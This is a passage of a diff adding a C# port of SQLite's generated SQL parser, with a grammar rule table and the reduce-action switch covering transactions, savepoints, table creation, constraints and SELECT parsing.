+new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 222, 1 ), +new _yyRuleInfo( 222, 2 ), +new _yyRuleInfo( 222, 1 ), +new _yyRuleInfo( 222, 2 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 223, 1 ), +new _yyRuleInfo( 223, 2 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 224, 1 ), +new _yyRuleInfo( 224, 2 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 226, 5 ), +new _yyRuleInfo( 226, 4 ), +new _yyRuleInfo( 227, 2 ), +new _yyRuleInfo( 227, 0 ), +new _yyRuleInfo( 225, 1 ), +new _yyRuleInfo( 225, 0 ), +new _yyRuleInfo( 221, 1 ), +new _yyRuleInfo( 221, 0 ), +new _yyRuleInfo( 216, 3 ), +new _yyRuleInfo( 216, 1 ), +new _yyRuleInfo( 147, 11 ), +new _yyRuleInfo( 228, 1 ), +new _yyRuleInfo( 228, 0 ), +new _yyRuleInfo( 179, 0 ), +new _yyRuleInfo( 179, 3 ), +new _yyRuleInfo( 187, 5 ), +new _yyRuleInfo( 187, 3 ), +new _yyRuleInfo( 229, 0 ), +new _yyRuleInfo( 229, 2 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 230, 1 ), +new _yyRuleInfo( 230, 1 ), +new _yyRuleInfo( 230, 1 ), +new _yyRuleInfo( 230, 1 ), +new _yyRuleInfo( 230, 1 ), +new _yyRuleInfo( 170, 2 ), +new _yyRuleInfo( 171, 2 ), +new _yyRuleInfo( 232, 1 ), +new _yyRuleInfo( 231, 1 ), +new _yyRuleInfo( 231, 0 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 233, 11 ), +new _yyRuleInfo( 235, 1 ), +new _yyRuleInfo( 235, 1 ), +new _yyRuleInfo( 235, 2 ), +new _yyRuleInfo( 235, 0 ), +new _yyRuleInfo( 236, 1 ), +new _yyRuleInfo( 236, 1 ), +new _yyRuleInfo( 236, 3 ), +new _yyRuleInfo( 237, 0 ), +new _yyRuleInfo( 237, 3 ), +new _yyRuleInfo( 238, 0 ), +new _yyRuleInfo( 238, 2 ), +new _yyRuleInfo( 234, 3 ), +new _yyRuleInfo( 234, 2 ), +new _yyRuleInfo( 240, 1 ), +new _yyRuleInfo( 240, 3 ), +new _yyRuleInfo( 241, 0 ), +new _yyRuleInfo( 241, 3 ), +new _yyRuleInfo( 241, 2 ), +new _yyRuleInfo( 239, 7 ), +new _yyRuleInfo( 239, 8 ), +new _yyRuleInfo( 239, 5 ), +new _yyRuleInfo( 239, 5 ), +new _yyRuleInfo( 239, 1 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 175, 6 ), +new _yyRuleInfo( 191, 1 ), +new _yyRuleInfo( 191, 1 ), +new _yyRuleInfo( 191, 1 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 243, 0 ), +new _yyRuleInfo( 243, 2 ), +new _yyRuleInfo( 242, 1 ), +new _yyRuleInfo( 242, 0 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 244, 1 ), +new _yyRuleInfo( 245, 0 ), +new _yyRuleInfo( 245, 1 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 246, 7 ), +new _yyRuleInfo( 247, 1 ), +new _yyRuleInfo( 247, 3 ), +new _yyRuleInfo( 248, 0 ), +new _yyRuleInfo( 248, 2 ), +new _yyRuleInfo( 249, 1 ), +new _yyRuleInfo( 249, 3 ), +new _yyRuleInfo( 250, 1 ), +new _yyRuleInfo( 251, 0 ), +new _yyRuleInfo( 251, 4 ), +new _yyRuleInfo( 251, 2 ), +}; + + //static void yy_accept(yyParser*); /* Forward Declaration */ + + /* + ** Perform a reduce action and the shift that must immediately + ** follow the reduce. + */ + static void yy_reduce( + yyParser yypParser, /* The parser */ + int yyruleno /* Number of the rule by which to reduce */ + ) + { + int yygoto; /* The next state */ + int yyact; /* The next action */ + YYMINORTYPE yygotominor; /* The LHS of the rule reduced */ + yymsp yymsp; // yyStackEntry[] yymsp = new yyStackEntry[0]; /* The top of the parser's stack */ + int yysize; /* Amount to pop the stack */ + Parse pParse = yypParser.pParse; //sqlite3ParserARG_FETCH; + + yymsp = new yymsp( ref yypParser, yypParser.yyidx ); // yymsp[0] = yypParser.yystack[yypParser.yyidx]; +#if !NDEBUG + if ( yyTraceFILE != null && yyruleno >= 0 + && yyruleno < yyRuleName.Length ) + { //(int)(yyRuleName.Length/sizeof(yyRuleName[0])) ){ + fprintf( yyTraceFILE, "%sReduce [%s].\n", yyTracePrompt, + yyRuleName[yyruleno] ); + } +#endif // * NDEBUG */ + + /* Silence complaints from purify about yygotominor being uninitialized +** in some cases when it is copied into the stack after the following +** switch. yygotominor is uninitialized when a rule reduces that does +** not set the value of its left-hand side nonterminal. Leaving the +** value of the nonterminal uninitialized is utterly harmless as long +** as the value is never used. So really the only thing this code +** accomplishes is to quieten purify. +** +** 2007-01-16: The wireshark project (www.wireshark.org) reports that +** without this code, their parser segfaults. I'm not sure what there +** parser is doing to make this happen. This is the second bug report +** from wireshark this week. Clearly they are stressing Lemon in ways +** that it has not been previously stressed... (SQLite ticket #2172) +*/ + yygotominor = new YYMINORTYPE(); //memset(yygotominor, 0, yygotominor).Length; + switch ( yyruleno ) + { + /* Beginning here are the reduction cases. A typical example + ** follows: + ** case 0: + ** //#line + ** { ... } // User supplied code + ** //#line + ** break; + */ + case 5: /* explain ::= */ + //#line 107 "parse.y" + { + sqlite3BeginParse( pParse, 0 ); + } + //#line 2107 "parse.c" + break; + case 6: /* explain ::= EXPLAIN */ + //#line 109 "parse.y" + { + sqlite3BeginParse( pParse, 1 ); + } + //#line 2112 "parse.c" + break; + case 7: /* explain ::= EXPLAIN QUERY PLAN */ + //#line 110 "parse.y" + { + sqlite3BeginParse( pParse, 2 ); + } + //#line 2117 "parse.c" + break; + case 8: /* cmdx ::= cmd */ + //#line 112 "parse.y" + { + sqlite3FinishCoding( pParse ); + } + //#line 2122 "parse.c" + break; + case 9: /* cmd ::= BEGIN transtype trans_opt */ + //#line 117 "parse.y" + { + sqlite3BeginTransaction( pParse, yymsp[-1].minor.yy4 ); + } + //#line 2127 "parse.c" + break; + case 13: /* transtype ::= */ + //#line 122 "parse.y" + { + yygotominor.yy4 = TK_DEFERRED; + } + //#line 2132 "parse.c" + break; + case 14: /* transtype ::= DEFERRED */ + case 15: /* transtype ::= IMMEDIATE */ //yytestcase(yyruleno==15); + case 16: /* transtype ::= EXCLUSIVE */ //yytestcase(yyruleno==16); + case 115: /* multiselect_op ::= UNION */ //yytestcase(yyruleno==114); + case 117: /* multiselect_op ::= EXCEPT|INTERSECT */ //yytestcase(yyruleno==116); + //#line 123 "parse.y" + { + yygotominor.yy4 = yymsp[0].major; + } + //#line 2141 "parse.c" + break; + case 17: /* cmd ::= COMMIT trans_opt */ + case 18: /* cmd ::= END trans_opt */ //yytestcase(yyruleno==18); + //#line 126 "parse.y" + { + sqlite3CommitTransaction( pParse ); + } + //#line 2147 "parse.c" + break; + case 19: /* cmd ::= ROLLBACK trans_opt */ + //#line 128 "parse.y" + { + sqlite3RollbackTransaction( pParse ); + } + //#line 2152 "parse.c" + break; + case 22: /* cmd ::= SAVEPOINT nm */ + //#line 132 "parse.y" + { + sqlite3Savepoint( pParse, SAVEPOINT_BEGIN, yymsp[0].minor.yy0 ); + } + //#line 2159 "parse.c" + break; + case 23: /* cmd ::= RELEASE savepoint_opt nm */ + //#line 135 "parse.y" + { + sqlite3Savepoint( pParse, SAVEPOINT_RELEASE, yymsp[0].minor.yy0 ); + } + //#line 2166 "parse.c" + break; + case 24: /* cmd ::= ROLLBACK trans_opt TO savepoint_opt nm */ + //#line 138 "parse.y" + { + sqlite3Savepoint( pParse, SAVEPOINT_ROLLBACK, yymsp[0].minor.yy0 ); + } + //#line 2173 "parse.c" + break; + case 26: /* create_table ::= createkw temp TABLE ifnotexists nm dbnm */ + //#line 145 "parse.y" + { + sqlite3StartTable( pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, yymsp[-4].minor.yy4, 0, 0, yymsp[-2].minor.yy4 ); + } + //#line 2180 "parse.c" + break; + case 27: /* createkw ::= CREATE */ + //#line 148 "parse.y" + { + pParse.db.lookaside.bEnabled = 0; + yygotominor.yy0 = yymsp[0].minor.yy0; + } + //#line 2188 "parse.c" + break; + case 28: /* ifnotexists ::= */ + case 31: /* temp ::= */ //yytestcase(yyruleno == 31); + case 70: /* autoinc ::= */ //yytestcase(yyruleno == 70); + case 83: /* defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt */ //yytestcase(yyruleno == 83); + case 85: /* init_deferred_pred_opt ::= */ //yytestcase(yyruleno == 85); + case 87: /* init_deferred_pred_opt ::= INITIALLY IMMEDIATE */ //yytestcase(yyruleno == 87); + case 98: /* defer_subclause_opt ::= */ //yytestcase(yyruleno == 98); + case 109: /* ifexists ::= */ //yytestcase(yyruleno == 109); + case 120: /* distinct ::= ALL */ //yytestcase(yyruleno == 120); + case 121: /* distinct ::= */ //yytestcase(yyruleno == 121); + case 222: /* between_op ::= BETWEEN */ //yytestcase(yyruleno == 223); + case 225: /* in_op ::= IN */ //yytestcase(yyruleno == 226); + //#line 153 "parse.y" + { + yygotominor.yy4 = 0; + } + //#line 2204 "parse.c" + break; + case 29: /* ifnotexists ::= IF NOT EXISTS */ + case 30: /* temp ::= TEMP */ //yytestcase(yyruleno == 30); + case 71: /* autoinc ::= AUTOINCR */ //yytestcase(yyruleno == 71); + case 86: /* init_deferred_pred_opt ::= INITIALLY DEFERRED */ //yytestcase(yyruleno == 86); + case 108: /* ifexists ::= IF EXISTS */ //yytestcase(yyruleno == 108); + case 119: /* distinct ::= DISTINCT */ //yytestcase(yyruleno == 119); + case 223: /* between_op ::= NOT BETWEEN */ //yytestcase(yyruleno == 224); + case 226: /* in_op ::= NOT IN */ //yytestcase(yyruleno == 227); + //#line 154 "parse.y" + { + yygotominor.yy4 = 1; + } + //#line 2216 "parse.c" + break; + case 32: /* create_table_args ::= LP columnlist conslist_opt RP */ + //#line 160 "parse.y" + { + sqlite3EndTable( pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, 0 ); + } + //#line 2223 "parse.c" + break; + case 33: /* create_table_args ::= AS select */ + //#line 163 "parse.y" + { + sqlite3EndTable( pParse, 0, 0, yymsp[0].minor.yy387 ); + sqlite3SelectDelete( pParse.db, ref yymsp[0].minor.yy387 ); + } + //#line 2231 "parse.c" + break; + case 36: /* column ::= columnid type carglist */ + //#line 175 "parse.y" + { + //yygotominor.yy0.z = yymsp[-2].minor.yy0.z; + //yygotominor.yy0.n = (int)( pParse.sLastToken.z - yymsp[-2].minor.yy0.z ) + pParse.sLastToken.n; + yygotominor.yy0.n = (int)( yymsp[-2].minor.yy0.z.Length - pParse.sLastToken.z.Length ) + pParse.sLastToken.n; + yygotominor.yy0.z = yymsp[-2].minor.yy0.z.Substring( 0, yygotominor.yy0.n ); + } + //#line 2239 "parse.c" + break; + case 37: /* columnid ::= nm */ + //#line 179 "parse.y" + { + sqlite3AddColumn( pParse, yymsp[0].minor.yy0 ); + yygotominor.yy0 = yymsp[0].minor.yy0; + } + //#line 2247 "parse.c" + break; + case 38: /* id ::= ID */ + case 39: /* id ::= INDEXED */ //yytestcase(yyruleno==39); + case 40: /* ids ::= ID|STRING */ //yytestcase(yyruleno==40); + case 41: /* nm ::= id */ //yytestcase(yyruleno==41); + case 42: /* nm ::= STRING */ //yytestcase(yyruleno==42); + case 43: /* nm ::= JOIN_KW */ //yytestcase(yyruleno==43); + case 46: /* typetoken ::= typename */ //yytestcase(yyruleno==46); + case 49: /* typename ::= ids */ //yytestcase(yyruleno==49); + case 127: /* as ::= AS nm */ ////yytestcase(yyruleno == 127); + case 128: /* as ::= ids */ ////yytestcase(yyruleno == 128); + case 138: /* dbnm ::= DOT nm */ ////yytestcase(yyruleno == 138); + case 147: /* indexed_opt ::= INDEXED BY nm */ ////yytestcase(yyruleno == 147); + case 251: /* collate ::= COLLATE ids */ //testcase(yyruleno == 251); + case 260: /* nmnum ::= plus_num */ //testcase(yyruleno == 260); + case 261: /* nmnum ::= nm */ //testcase(yyruleno == 261); + case 262: /* nmnum ::= ON */ //testcase(yyruleno == 262); + case 263: /* nmnum ::= DELETE */ //testcase(yyruleno == 263); + case 264: /* nmnum ::= DEFAULT */ //testcase(yyruleno == 264); + case 265: /* plus_num ::= plus_opt number */ //testcase(yyruleno == 265); + case 266: /* minus_num ::= MINUS number */ //testcase(yyruleno == 266); + case 267: /* number ::= INTEGER|FLOAT */ //testcase(yyruleno == 267); + case 285: /* trnm ::= nm */ //testcase(yyruleno == 285); + //#line 189 "parse.y" + { + yygotominor.yy0 = yymsp[0].minor.yy0; + } + //#line 2273 "parse.c" + break; + case 45: /* type ::= typetoken */ + //#line 251 "parse.y" + { + sqlite3AddColumnType( pParse, yymsp[0].minor.yy0 ); + } + //#line 2278 "parse.c" + break; + case 47: /* typetoken ::= typename LP signed RP */ + //#line 253 "parse.y" + { + //yygotominor.yy0.z = yymsp[-3].minor.yy0.z; + //yygotominor.yy0.n = (int)( &yymsp[0].minor.yy0.z[yymsp[0].minor.yy0.n] - yymsp[-3].minor.yy0.z ); + yygotominor.yy0.n = yymsp[-3].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length + yymsp[0].minor.yy0.n; + yygotominor.yy0.z = yymsp[-3].minor.yy0.z.Substring( 0, yygotominor.yy0.n ); + } + //#line 2286 "parse.c" + break; + case 48: /* typetoken ::= typename LP signed COMMA signed RP */ + //#line 257 "parse.y" + { + //yygotominor.yy0.z = yymsp[-5].minor.yy0.z; + //yygotominor.yy0.n = (int)( &yymsp[0].minor.yy0.z[yymsp[0].minor.yy0.n] - yymsp[-5].minor.yy0.z ); + yygotominor.yy0.n = yymsp[-5].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length + 1; + yygotominor.yy0.z = yymsp[-5].minor.yy0.z.Substring( 0, yygotominor.yy0.n ); + } + //#line 2294 "parse.c" + break; + case 50: /* typename ::= typename ids */ + //#line 263 "parse.y" + { + //yygotominor.yy0.z=yymsp[-1].minor.yy0.z; yygotominor.yy0.n=yymsp[0].minor.yy0.n+(int)(yymsp[0].minor.yy0.z-yymsp[-1].minor.yy0.z); + yygotominor.yy0.z = yymsp[-1].minor.yy0.z; + yygotominor.yy0.n = yymsp[0].minor.yy0.n + (int)( yymsp[-1].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length ); + } + //#line 2299 "parse.c" + break; + case 57: /* ccons ::= DEFAULT term */ + case 59: /* ccons ::= DEFAULT PLUS term */ //yytestcase(yyruleno==59); + //#line 274 "parse.y" + { + sqlite3AddDefaultValue( pParse, yymsp[0].minor.yy118 ); + } + //#line 2308 "parse.c" + break; + case 58: /* ccons ::= DEFAULT LP expr RP */ + //#line 275 "parse.y" + { + sqlite3AddDefaultValue( pParse, yymsp[-1].minor.yy118 ); + } + //#line 2310 "parse.c" + break; + case 60: /* ccons ::= DEFAULT MINUS term */ + //#line 277 "parse.y" + { + ExprSpan v = new ExprSpan(); + v.pExpr = sqlite3PExpr( pParse, TK_UMINUS, yymsp[0].minor.yy118.pExpr, 0, 0 ); + v.zStart = yymsp[-1].minor.yy0.z; + v.zEnd = yymsp[0].minor.yy118.zEnd; + sqlite3AddDefaultValue( pParse, v ); + } + //#line 2321 "parse.c" + break; + case 61: /* ccons ::= DEFAULT id */ + //#line 284 "parse.y" + { + ExprSpan v = new ExprSpan(); + spanExpr( v, pParse, TK_STRING, yymsp[0].minor.yy0 ); + sqlite3AddDefaultValue( pParse, v ); + } + //#line 2330 "parse.c" + break; + case 63: /* ccons ::= NOT NULL onconf */ + //#line 294 "parse.y" + { + sqlite3AddNotNull( pParse, yymsp[0].minor.yy4 ); + } + //#line 2335 "parse.c" + break; + case 64: /* ccons ::= PRIMARY KEY sortorder onconf autoinc */ + //#line 296 "parse.y" + { + sqlite3AddPrimaryKey( pParse, 0, yymsp[-1].minor.yy4, yymsp[0].minor.yy4, yymsp[-2].minor.yy4 ); + } + //#line 2340 "parse.c" + break; + case 65: /* ccons ::= UNIQUE onconf */ + //#line 297 "parse.y" + { + sqlite3CreateIndex( pParse, 0, 0, 0, 0, yymsp[0].minor.yy4, 0, 0, 0, 0 ); + } + //#line 2345 "parse.c" + break; + case 66: /* ccons ::= CHECK LP expr RP */ + //#line 298 "parse.y" + { + sqlite3AddCheckConstraint( pParse, yymsp[-1].minor.yy118.pExpr ); + } + //#line 2350 "parse.c" + break; + case 67: /* ccons ::= REFERENCES nm idxlist_opt refargs */ + //#line 300 "parse.y" + { + sqlite3CreateForeignKey( pParse, 0, yymsp[-2].minor.yy0, yymsp[-1].minor.yy322, yymsp[0].minor.yy4 ); + } + //#line 2355 "parse.c" + break; + case 68: /* ccons ::= defer_subclause */ + //#line 301 "parse.y" + { + sqlite3DeferForeignKey( pParse, yymsp[0].minor.yy4 ); + } + //#line 2360 "parse.c" + break; + case 69: /* ccons ::= COLLATE ids */ + //#line 302 "parse.y" + { + sqlite3AddCollateType( pParse, yymsp[0].minor.yy0 ); + } + //#line 2365 "parse.c" + break; + case 72: /* refargs ::= */ + //#line 315 "parse.y" + { + yygotominor.yy4 = OE_None * 0x0101; /* EV: R-19803-45884 */ + } + //#line 2370 "parse.c" + break; + case 73: /* refargs ::= refargs refarg */ + //#line 316 "parse.y" + { + yygotominor.yy4 = ( yymsp[-1].minor.yy4 & ~yymsp[0].minor.yy215.mask ) | yymsp[0].minor.yy215.value; + } + //#line 2375 "parse.c" + break; + case 74: /* refarg ::= MATCH nm */ + case 75: /* refarg ::= ON INSERT refact */ //yytestcase(yyruleno==75); + //#line 318 "parse.y" + { + yygotominor.yy215.value = 0; + yygotominor.yy215.mask = 0x000000; + } + //#line 2381 "parse.c" + break; + case 76: /* refarg ::= ON DELETE refact */ + //#line 320 "parse.y" + { + yygotominor.yy215.value = yymsp[0].minor.yy4; + yygotominor.yy215.mask = 0x0000ff; + } + //#line 2386 "parse.c" + break; + case 77: /* refarg ::= ON UPDATE refact */ + //#line 321 "parse.y" + { + yygotominor.yy215.value = yymsp[0].minor.yy4 << 8; + yygotominor.yy215.mask = 0x00ff00; + } + //#line 2391 "parse.c" + break; + case 78: /* refact ::= SET NULL */ + //#line 323 "parse.y" + { + yygotominor.yy4 = OE_SetNull; /* EV: R-33326-45252 */ + } + //#line 2396 "parse.c" + break; + case 79: /* refact ::= SET DEFAULT */ + //#line 324 "parse.y" + { + yygotominor.yy4 = OE_SetDflt; /* EV: R-33326-45252 */ + } + //#line 2401 "parse.c" + break; + case 80: /* refact ::= CASCADE */ + //#line 325 "parse.y" + { + yygotominor.yy4 = OE_Cascade; /* EV: R-33326-45252 */ + } + //#line 2406 "parse.c" + break; + case 81: /* refact ::= RESTRICT */ + //#line 326 "parse.y" + { + yygotominor.yy4 = OE_Restrict; /* EV: R-33326-45252 */ + } + //#line 2411 "parse.c" + break; + case 82: /* refact ::= NO ACTION */ + //#line 327 "parse.y" + { + yygotominor.yy4 = OE_None; /* EV: R-33326-45252 */ + } + //#line 2416 "parse.c" + break; + case 84: /* defer_subclause ::= DEFERRABLE init_deferred_pred_opt */ + case 99: /* defer_subclause_opt ::= defer_subclause */ //yytestcase(yyruleno==99); + case 101: /* onconf ::= ON CONFLICT resolvetype */ //yytestcase(yyruleno==101); + case 104: /* resolvetype ::= raisetype */ //yytestcase(yyruleno==104); + //#line 330 "parse.y" + { + yygotominor.yy4 = yymsp[0].minor.yy4; + } + //#line 2424 "parse.c" + break; + case 88: /* conslist_opt ::= */ + //#line 339 "parse.y" + { + yygotominor.yy0.n = 0; + yygotominor.yy0.z = null; + } + //#line 2429 "parse.c" + break; + case 89: /* conslist_opt ::= COMMA conslist */ + //#line 340 "parse.y" + { + yygotominor.yy0 = yymsp[-1].minor.yy0; + } + //#line 2434 "parse.c" + break; + case 94: /* tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf */ + //#line 346 "parse.y" + { + sqlite3AddPrimaryKey( pParse, yymsp[-3].minor.yy322, yymsp[0].minor.yy4, yymsp[-2].minor.yy4, 0 ); + } + //#line 2439 "parse.c" + break; + case 95: /* tcons ::= UNIQUE LP idxlist RP onconf */ + //#line 348 "parse.y" + { + sqlite3CreateIndex( pParse, 0, 0, 0, yymsp[-2].minor.yy322, yymsp[0].minor.yy4, 0, 0, 0, 0 ); + } + //#line 2444 "parse.c" + break; + case 96: /* tcons ::= CHECK LP expr RP onconf */ + //#line 350 "parse.y" + { + sqlite3AddCheckConstraint( pParse, yymsp[-2].minor.yy118.pExpr ); + } + //#line 2449 "parse.c" + break; + case 97: /* tcons ::= FOREIGN KEY LP idxlist RP REFERENCES nm idxlist_opt refargs defer_subclause_opt */ + //#line 352 "parse.y" + { + sqlite3CreateForeignKey( pParse, yymsp[-6].minor.yy322, yymsp[-3].minor.yy0, yymsp[-2].minor.yy322, yymsp[-1].minor.yy4 ); + sqlite3DeferForeignKey( pParse, yymsp[0].minor.yy4 ); + } + //#line 2457 "parse.c" + break; + case 100: /* onconf ::= */ + //#line 366 "parse.y" + { + yygotominor.yy4 = OE_Default; + } + //#line 2462 "parse.c" + break; + case 102: /* orconf ::= */ + //#line 368 "parse.y" + { + yygotominor.yy210 = OE_Default; + } + //#line 2467 "parse.c" + break; + case 103: /* orconf ::= OR resolvetype */ + //#line 369 "parse.y" + { + yygotominor.yy210 = (u8)yymsp[0].minor.yy4; + } + //#line 2472 "parse.c" + break; + case 105: /* resolvetype ::= IGNORE */ + //#line 371 "parse.y" + { + yygotominor.yy4 = OE_Ignore; + } + //#line 2477 "parse.c" + break; + case 106: /* resolvetype ::= REPLACE */ + //#line 372 "parse.y" + { + yygotominor.yy4 = OE_Replace; + } + //#line 2482 "parse.c" + break; + case 107: /* cmd ::= DROP TABLE ifexists fullname */ + //#line 376 "parse.y" + { + sqlite3DropTable( pParse, yymsp[0].minor.yy259, 0, yymsp[-1].minor.yy4 ); + } + //#line 2489 "parse.c" + break; + case 110: /* cmd ::= createkw temp VIEW ifnotexists nm dbnm AS select */ + //#line 386 "parse.y" + { + sqlite3CreateView( pParse, yymsp[-7].minor.yy0, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy387, yymsp[-6].minor.yy4, yymsp[-4].minor.yy4 ); + } + //#line 2496 "parse.c" + break; + case 111: /* cmd ::= DROP VIEW ifexists fullname */ + //#line 389 "parse.y" + { + sqlite3DropTable( pParse, yymsp[0].minor.yy259, 1, yymsp[-1].minor.yy4 ); + } + //#line 2503 "parse.c" + break; + case 112: /* cmd ::= select */ + //#line 396 "parse.y" + { + SelectDest dest = new SelectDest( SRT_Output, '\0', 0, 0, 0 ); + sqlite3Select( pParse, yymsp[0].minor.yy387, ref dest ); + sqlite3SelectDelete( pParse.db, ref yymsp[0].minor.yy387 ); + } + //#line 2512 "parse.c" + break; + case 113: /* select ::= oneselect */ + //#line 407 "parse.y" + { + yygotominor.yy387 = yymsp[0].minor.yy387; + } + //#line 2517 "parse.c" + break; + case 114: /* select ::= select multiselect_op oneselect */ + //#line 409 "parse.y" + { + if ( yymsp[0].minor.yy387 != null ) + { + yymsp[0].minor.yy387.op = (u8)yymsp[-1].minor.yy4; + yymsp[0].minor.yy387.pPrior = yymsp[-2].minor.yy387; + } + else + { + sqlite3SelectDelete( pParse.db, ref yymsp[-2].minor.yy387 ); + } + yygotominor.yy387 = yymsp[0].minor.yy387; + } + //#line 2530 "parse.c" + break; + case 116: /* multiselect_op ::= UNION ALL */ + //#line 420 "parse.y" + { + yygotominor.yy4 = TK_ALL; + } + //#line 2535 "parse.c" + break; + case 118: /* oneselect ::= SELECT distinct selcollist from where_opt groupby_opt having_opt orderby_opt limit_opt */ + //#line 424 "parse.y" + { + yygotominor.yy387 = sqlite3SelectNew( pParse, yymsp[-6].minor.yy322, yymsp[-5].minor.yy259, yymsp[-4].minor.yy314, yymsp[-3].minor.yy322, yymsp[-2].minor.yy314, yymsp[-1].minor.yy322, yymsp[-7].minor.yy4, yymsp[0].minor.yy292.pLimit, yymsp[0].minor.yy292.pOffset ); + } + //#line 2542 "parse.c" + break; + case 122: /* sclp ::= selcollist COMMA */ + case 247: /* idxlist_opt ::= LP idxlist RP */ //yytestcase(yyruleno==247); + //#line 445 "parse.y" + { + yygotominor.yy322 = yymsp[-1].minor.yy322; + } + //#line 2548 "parse.c" + break; + case 123: /* sclp ::= */ + case 151: /* orderby_opt ::= */ //yytestcase(yyruleno==151); + case 159: /* groupby_opt ::= */ //yytestcase(yyruleno==159); + case 240: /* exprlist ::= */ //yytestcase(yyruleno==240); + case 246: /* idxlist_opt ::= */ //yytestcase(yyruleno==246); + //#line 446 "parse.y" + { + yygotominor.yy322 = null; + } + //#line 2557 "parse.c" + break; + case 124: /* selcollist ::= sclp expr as */ + //#line 447 "parse.y" + { + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yymsp[-2].minor.yy322, yymsp[-1].minor.yy118.pExpr ); + if ( yymsp[0].minor.yy0.n > 0 ) + sqlite3ExprListSetName( pParse, yygotominor.yy322, yymsp[0].minor.yy0, 1 ); + sqlite3ExprListSetSpan( pParse, yygotominor.yy322, yymsp[-1].minor.yy118 ); + } + //#line 2566 "parse.c" + break; + case 125: /* selcollist ::= sclp STAR */ + //#line 452 "parse.y" + { + Expr p = sqlite3Expr( pParse.db, TK_ALL, null ); + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yymsp[-1].minor.yy322, p ); + } + //#line 2574 "parse.c" + break; + case 126: /* selcollist ::= sclp nm DOT STAR */ + //#line 456 "parse.y" + { + Expr pRight = sqlite3PExpr( pParse, TK_ALL, 0, 0, yymsp[0].minor.yy0 ); + Expr pLeft = sqlite3PExpr( pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0 ); + Expr pDot = sqlite3PExpr( pParse, TK_DOT, pLeft, pRight, 0 ); + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yymsp[-3].minor.yy322, pDot ); + } + //#line 2584 "parse.c" + break; + case 129: /* as ::= */ + //#line 469 "parse.y" + { + yygotominor.yy0.n = 0; + } + //#line 2589 "parse.c" + break; + case 130: /* from ::= */ + //#line 481 "parse.y" + { + yygotominor.yy259 = new SrcList(); + }//sqlite3DbMallocZero(pParse.db, sizeof(*yygotominor.yy259));} + //#line 2594 "parse.c" + break; + case 131: /* from ::= FROM seltablist */ + //#line 482 "parse.y" + { + yygotominor.yy259 = yymsp[0].minor.yy259; + sqlite3SrcListShiftJoinType( yygotominor.yy259 ); + } + //#line 2602 "parse.c" + break; + case 132: /* stl_prefix ::= seltablist joinop */ + //#line 490 "parse.y" + { + yygotominor.yy259 = yymsp[-1].minor.yy259; + if ( ALWAYS( yygotominor.yy259 != null && yygotominor.yy259.nSrc > 0 ) ) + yygotominor.yy259.a[yygotominor.yy259.nSrc - 1].jointype = (u8)yymsp[0].minor.yy4; + } + //#line 2610 "parse.c" + break; + case 133: /* stl_prefix ::= */ + //#line 494 "parse.y" + { + yygotominor.yy259 = null; + } + //#line 2615 "parse.c" + break; + case 134: /* seltablist ::= stl_prefix nm dbnm as indexed_opt on_opt using_opt */ + //#line 495 "parse.y" + { + yygotominor.yy259 = sqlite3SrcListAppendFromTerm( pParse, yymsp[-6].minor.yy259, yymsp[-5].minor.yy0, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, 0, yymsp[-1].minor.yy314, yymsp[0].minor.yy384 ); + sqlite3SrcListIndexedBy( pParse, yygotominor.yy259, yymsp[-2].minor.yy0 ); + } + //#line 2623 "parse.c" + break; + case 135: /* seltablist ::= stl_prefix LP select RP as on_opt using_opt */ + //#line 501 "parse.y" + { + yygotominor.yy259 = sqlite3SrcListAppendFromTerm( pParse, yymsp[-6].minor.yy259, 0, 0, yymsp[-2].minor.yy0, yymsp[-4].minor.yy387, yymsp[-1].minor.yy314, yymsp[0].minor.yy384 ); + } + //#line 2630 "parse.c" + break; + case 136: /* seltablist ::= stl_prefix LP seltablist RP as on_opt using_opt */ + //#line 505 "parse.y" + { + if ( yymsp[-6].minor.yy259 == null && yymsp[-2].minor.yy0.n == 0 && yymsp[-1].minor.yy314 == null && yymsp[0].minor.yy384 == null ) + { + yygotominor.yy259 = yymsp[-4].minor.yy259; + } + else + { + Select pSubquery; + sqlite3SrcListShiftJoinType( yymsp[-4].minor.yy259 ); + pSubquery = sqlite3SelectNew( pParse, 0, yymsp[-4].minor.yy259, 0, 0, 0, 